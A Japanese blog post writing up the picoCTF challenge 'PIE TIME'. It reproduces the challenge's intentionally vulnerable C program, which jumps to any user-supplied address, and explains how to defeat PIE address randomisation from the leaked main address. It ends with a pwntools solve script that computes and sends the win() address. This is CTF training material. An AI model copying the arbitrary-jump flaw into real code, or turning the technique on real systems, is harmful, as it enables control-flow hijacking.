1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

picoCTFのwriteup(PIE TIME)

1
Posted at

備忘録 PIE TIME

問題リンク

インスタンスを起動するとソースコードと実行ファイルがダウンロードできるようになるのでダウンロード

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

ソースコードから次の関数を持つことが分かる

  • win
  • main
    main関数を実行し入力したアドレスへジャンプする仕様。そしてwin関数はflag.txtを開いて中身を表示してくれるのでwin関数のアドレスを調べて入力できればflagが取れるというもの。

まずはローカル環境で試したいので以下のようにvuln.cと同じディレクトリにflag.txtを作る。中身はなんでもOK

echo great!!this is flga! > flag.txt

その後、vulnを実行するが、当然そのままではアドレスがわからないのでgdbを使ってアドレスを調べる。
image.png
調べたアドレスを入力するが通らない。ここでファイルを実行するとmain関数のアドレスが表示されていることが確認できる。
image.png
問題のタイトルにもある通り、この実行ファイルはPIEが有効化されている。
image.png
上の写真にあるようにPIE enabledなのでアドレスがプログラム実行時に毎回変化する。よって、実行ファイルを動作させ、動的に変化した後のアドレスを取得する必要がある。
image.png
上の写真は実行ファイルを2回動かした結果。1回目と2回目でmainのアドレスが変化していることが分かる

補足
PEIはASLRと組み合わせて用いられることが多い。どちらもアドレスのランダム化だが、PIEは実行ファイル側なのに対し、ASLRはOS側で行う。

main関数とwin関数の距離は変わらないので、相対アドレスを調べmain関数から引くことでアドレスを求めることができる。
image.png
相対値はwin関数とmain関数の差なので0x133d - 0x12a7 = 0x96
つまり、ファイルを実行して表示されたmain関数から0x96引いた値を入力すればflag.txtを開くことができる。
image.png
あとは同じことを指定されたリモートホストにやるだけ!
手動でやってもいいが以下のようなコードを活用すれば汎用性がある。

solve.py
from pwn import *

# バイナリの読み込み

elf = ELF('./vuln')
context.binary = elf

# ローカル実行

 p = process('./vuln')

# リモート実行ならこちらを有効化

# host = 'rescued-float.picoctf.net'
# port = 123456
# p = remote(host, port)

# mainのアドレスを受け取る

p.recvuntil(b'Address of main: ')
main_addr = int(p.recvline().strip(),16)
log.info(f"main addresss: {hex(main_addr)}")

# PIEベースアドレスを計算

main_offset = elf.symbols['main']
base_addr = main_addr - main_offset
log.info(f"PIE base address: {hex(base_addr)}")

# win 関数のオフセットを取得して、実行アドレスを計算

win_offset = elf.symbols['win']
win_addr = base_addr + win_offset
log.success(f"win address: {hex(win_addr)}")

# アドレスを送信

p.sendlineafter(b'Enter the address to jump to', hex(win_addr).encode())

# 対話モードでflagを表示

p.interactive()
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?